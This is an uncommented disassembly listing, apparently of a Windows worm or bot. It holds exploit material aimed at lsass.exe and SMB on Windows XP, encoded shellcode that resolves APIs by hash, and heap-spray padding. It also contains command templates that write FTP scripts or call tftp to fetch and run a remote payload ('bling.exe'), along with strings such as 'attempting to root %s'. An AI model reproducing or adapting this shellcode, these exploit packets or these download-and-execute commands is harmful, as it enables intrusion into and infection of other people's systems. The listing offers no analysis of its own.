		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4284E0	dd 1004600h		; DATA XREF: sub_403249+140r
					; sub_403249+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_428598	dd 0A0D7325h, 0		; DATA XREF: sub_4030E8+102o
					; sub_405144+DFo ...
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4030E8+BEo
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030E8+97o
; ---------------------------------------------------------------------------


loc_428620:				; DATA XREF: sub_403249+177o
		jmp	short loc_428628
; ---------------------------------------------------------------------------
		jmp	short loc_42862A
; ---------------------------------------------------------------------------
		align 8


loc_428628:				; CODE XREF: ___:loc_428620j
					; DATA XREF: sub_403249+27o
		pop	esp
		pop	esp


loc_42862A:				; CODE XREF: ___:00428622j
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_428634	dd 1CEC8166h		; DATA XREF: sub_403249+Dr
dword_428638	dd 0E4FF07h		; DATA XREF: sub_403249+16r
byte_42863C	db 90h			; DATA XREF: sub_403A90+B2o
		db 42h,	90h, 42h
		db 90h
		dd offset word_429042
		align 4
dword_428648	dd 10FF8h, 0		; DATA XREF: sub_403A90+6Ao
dword_428650	dd 10FF8h		; DATA XREF: sub_403A90+79o
dword_428654	dd 7FFDF020h, 0		; DATA XREF: sub_403A90+162o
dword_42865C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_403EBA+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4286E4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_403EBA+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_428714	dd 0			; DATA XREF: sub_403EBA+44o
		dd 800000D4h, 0
unk_428720	db  81h	; 		; DATA XREF: sub_403F94+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_42876C	db 41h			; DATA XREF: sub_404032+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4287B0	proc near		; DATA XREF: ___:0040430Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4288AC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4288C2
		mov	[esi+8], eax
		call	sub_428875
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4288C2
		mov	[esi+0Ch], eax
		call	sub_428827
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4288C2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4287B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_428827	proc near		; CODE XREF: sub_4287B0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_428850
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_428827	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428850	proc near		; CODE XREF: sub_428827+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_42885F:				; CODE XREF: sub_428850+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_42886C
		inc	ebx
		jmp	short loc_42885F
; ---------------------------------------------------------------------------


loc_42886C:				; CODE XREF: sub_428850+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_428850	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428875	proc near		; CODE XREF: sub_4287B0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_42888D:				; CODE XREF: sub_428875+1Ej
		cmp	[ecx], ebx
		jz	short loc_428895
		mov	ecx, [ecx]
		jmp	short loc_42888D
; ---------------------------------------------------------------------------


loc_428895:				; CODE XREF: sub_428875+1Aj
		mov	edx, edi


loc_428897:				; CODE XREF: sub_428875+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4288A1
		mov	edx, [edx+4]
		jmp	short loc_428897
; ---------------------------------------------------------------------------


loc_4288A1:				; CODE XREF: sub_428875+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_428875	endp


; =============== S U B	R O U T	I N E =======================================



sub_4288AC	proc near		; CODE XREF: sub_4287B0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4288AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4288C2	proc near		; CODE XREF: sub_4287B0+16p
					; sub_4287B0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4288D8:				; CODE XREF: sub_4288C2+33j
		jecxz	short loc_428912
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4288E5:				; CODE XREF: sub_4288C2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4288F1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4288E5
; ---------------------------------------------------------------------------


loc_4288F1:				; CODE XREF: sub_4288C2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4288D8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_428912:				; CODE XREF: sub_4288C2:loc_4288D8j
					; sub_4288C2:loc_428912j
		jmp	short loc_428912
sub_4288C2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_428918	proc near		; DATA XREF: ___:004042BFo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_42896A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_428935:				; CODE XREF: sub_428918+38j
		jecxz	short loc_428965
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_428940:				; CODE XREF: sub_428918+32j
		lodsb
		test	al, al
		jz	short loc_42894C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_428940
; ---------------------------------------------------------------------------


loc_42894C:				; CODE XREF: sub_428918+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_428935
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_428965:				; CODE XREF: sub_428918:loc_428935j
		mov	[esp+arg_0], ebx
		retn
sub_428918	endp


; =============== S U B	R O U T	I N E =======================================



sub_42896A	proc near		; CODE XREF: sub_428918+7p

; FUNCTION CHUNK AT 004289A2 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_428983
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_42898E
; ---------------------------------------------------------------------------


loc_428983:				; CODE XREF: sub_42896A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_42898E:				; CODE XREF: sub_42896A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4289A2
sub_42896A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428995	proc near		; CODE XREF: sub_42896A:loc_4289A2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_428995	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42896A


loc_4289A2:				; CODE XREF: sub_42896A+29j
		call	sub_428995


loc_4289A7:				; DATA XREF: sub_403A35+1Bo
					; sub_40EE72+822o
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_42896A
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_4289AC	dd 60h			; DATA XREF: sub_403A90+320o
dword_4289B0	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A90+2F5o
dword_4289BC	dd 30h			; DATA XREF: sub_403A90+2CAo
					; ___:0042FA1Co
dword_4289C0	dd 0A1h			; DATA XREF: sub_403A90+29Fo
dword_4289C4	dd 3			; DATA XREF: sub_403A90+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_403A90+153o
		align 10h


loc_4289D0:				; DATA XREF: sub_403A90+E8o
		jmp	short near ptr dword_4289D8
; ---------------------------------------------------------------------------
		align 8
dword_4289D8	dd 0			; CODE XREF: ___:loc_4289D0j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: ___:004042E4o
					; sub_404F9A+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_428A50	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:00404BFFo
; ---------------------------------------------------------------------------


loc_428A5C:				; CODE XREF: ___:00428A66j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_428A5C
		inc	edi
		jz	short loc_428AA3
		and	eax, 952CE753h
		inc	esp
		jle	short loc_428ACB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_428AA3:				; CODE XREF: ___:00428A69j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_428B02+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_428AC8:				; CODE XREF: ___:00428AF5j
		xor	[esi-25h], bl


loc_428ACB:				; CODE XREF: ___:00428A71j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_428AE4:				; CODE XREF: ___:00428B17j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_428AC8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_428B02:				; CODE XREF: ___:00428AA9j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_428B8E
		jo	short loc_428AE4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_428B25+1
		add	bl, [edi]


loc_428B25:				; CODE XREF: ___:00428B21j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_428B3A+2
		cmp	ch, bh
		dec	edx


loc_428B3A:				; CODE XREF: ___:00428B35j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_428B8E:				; CODE XREF: ___:00428B15j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_428C14
		sub	al, 0BCh
		jmp	near ptr 54448F82h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_428BB0	dd 0EFFFC481h, 44FFFFh,	428BFCh	; DATA XREF: ___:00404BE6o
dword_428BBC	dd 42Ah			; DATA XREF: ___:00404B99r
dword_428BC0	dd 3E8h			; DATA XREF: ___:00404C0Ar
dword_428BC4	dd 258h			; DATA XREF: ___:00404BDCr
byte_428BC8	db 0			; DATA XREF: ___:00404B45r
					; ___:00404C13r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_428BE0	dd 20804h		; DATA XREF: sub_404853r ___:00404C31o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00428BCCo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_428C14:				; CODE XREF: ___:00428B98j
		push	eax
		xor	al, 29h


loc_428C17:				; DATA XREF: ___:00404B6Do
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_428C20	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:00404A9Do
dword_428C34	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:00404A41o
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:004049D0o
		align 4
a_:					; DATA XREF: sub_406387+252o
		unicode	0, <.>,0
dword_428C60	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: ___:004050E2o
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 2Dh	dup(64646464h)
		db 2 dup(64h)
word_429042	dw 6464h		; DATA XREF: ___:00428641o
		dd 11h dup(64646464h), 1016464h, 40h dup(65656565h), 66010165h
		dd 40h dup(66666666h), 67670101h, 3Fh dup(67676767h), 1676767h
		dd 68686801h, 3Fh dup(68686868h), 1016868h, 40h	dup(69696969h)
		dd 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh)
		dd 16B6B6Bh, 6C6C6C01h,	8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh
		dd 6D6D501Eh, 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h
		dd 83877FD9h, 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h
		dd 0C2F4FDECh, 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h
		dd 86F4ED43h, 1EBFE826h, 0F3BF5D64h, 8AB518CFh,	73941BC9h
		dd 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h
		dd 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h
		dd 0C7F474D4h, 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh
		dd 0B50CAEA0h, 57808D97h, 7B9212A0h, 518089F3h,	0E19A5097h
		dd 85773449h, 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh
		dd 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh
		dd 78281EB8h, 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh
		dd 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h
		dd 0D0061FB1h, 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h
		dd 0EB3F091h, 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h,	14539B36h
		dd 2C47A345h, 0F5177263h, 78696A36h, 51809DBDh,	0D62D8E93h
		dd 86158899h, 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h
		dd 5780EE37h, 4838E43h,	5180BD0Ch, 0EFAF269Ah, 0D87B5338h
		dd 78A9269Bh, 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4


loc_429E74:				; DATA XREF: ___:00405319o
		add	al, 54h
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax


loc_429E92:				; CODE XREF: ___:00429EE2j
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		fmul	st(1), st
		mov	al, 42h
		jmp	short loc_429EE9
; ---------------------------------------------------------------------------
		dec	edx
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		and	[ecx], eax
		jo	short loc_429E92
		inc	edx
		add	[eax-52h], esi
		inc	edx


loc_429EE9:				; CODE XREF: ___:00429ED9j
		mov	edi, esp
		add	edi, 2Ch
		sub	sp, 204h
		xor	ecx, ecx
		mov	dl, 35h
		add	cx, 138h


loc_429EFC:				; CODE XREF: ___:00429F03j
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_429EFC
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
		int	28h		; DOS 2+ internal - KEYBOARD BUSY LOOP
		test	eax, 79E4B9EBh
		inc	ebp
		loope	loc_429F4D
		lds	edx, [edx]
		adc	eax, 623D0515h
		db	66h
		pop	es
		push	6
		pop	es
		assume es:nothing
		sbb	esi, [ecx+79h]
		jns	short near ptr loc_429F59+3
		fidiv	word ptr [eax]
		fxch4	st(4)
		retf	0CACAh
; ---------------------------------------------------------------------------
		db 68h
		dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh,	0B83D4DBEh
		dd 2EBE096Ah, 6EBECE34h
; ---------------------------------------------------------------------------
		dec	ebp


loc_429F4D:				; CODE XREF: ___:00429F15j
		xor	al, 0CEh
		mov	esi, 0CC34297Eh
		mov	esi, 0CF341166h


loc_429F59:				; CODE XREF: ___:00429F26j
		db	64h, 67h
		mov	si, 156Eh
		xor	al, 0CEh
		add	al, 0FCh
		jz	short near ptr loc_429F67+2
		cmc
		lodsb


loc_429F67:				; CODE XREF: ___:00429F63j
		mov	esi, 0CB34BE01h
		cdq
		add	al, 0F7h
		in	al, 0D7h
		mov	cl, 0F5h
		inc	eax
		retn	833Ah
; ---------------------------------------------------------------------------
		db 70h
		dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h
		dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh
		dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h
		dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h
		dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h
		dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h
		dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h,	66A13930h
		dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h
		dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h
		dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h
word_42A040	dw 7A69h		; DATA XREF: sub_405144+30r
		align 4
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_405144+97o
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 10h
unk_42A0B0	db    2			; DATA XREF: ___:00405367o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 25h,	73h, 2Eh
		db  65h	; e
		db 1Fh,	78h, 1Fh
		db  70h	; p
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAttemptingToRo	db 'attempting to root %s',0
		align 10h
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D5+5D0o
aQuit		db 'QUIT',0             ; DATA XREF: sub_4053D5+5BCo
					; sub_40EE72+537o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_4053D5+5AFo
		align 4
unk_42A128	db    3			; DATA XREF: sub_4053D5+564o
		db 33h,	6Eh, 2
		db  7Ah	; z
		db 1Fh,	6Dh, 1Fh
		db  20h
		db 28h,	66h, 74h
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	3, 34h
aSPortDNowExecu	db '  %s, port:%d now executing %s on remote ABOSAL7.',0
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D5+545o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_4053D5+519o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_4053D5+501o
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D5+4ECo
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_4053D5+4DBo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_4053D5+4A8o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D5+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_4053D5+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D5+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_4053D5+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_4053D5+3AFo
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: sub_4053D5+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D5+38Co
aI:					; DATA XREF: sub_4053D5+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D5+351o
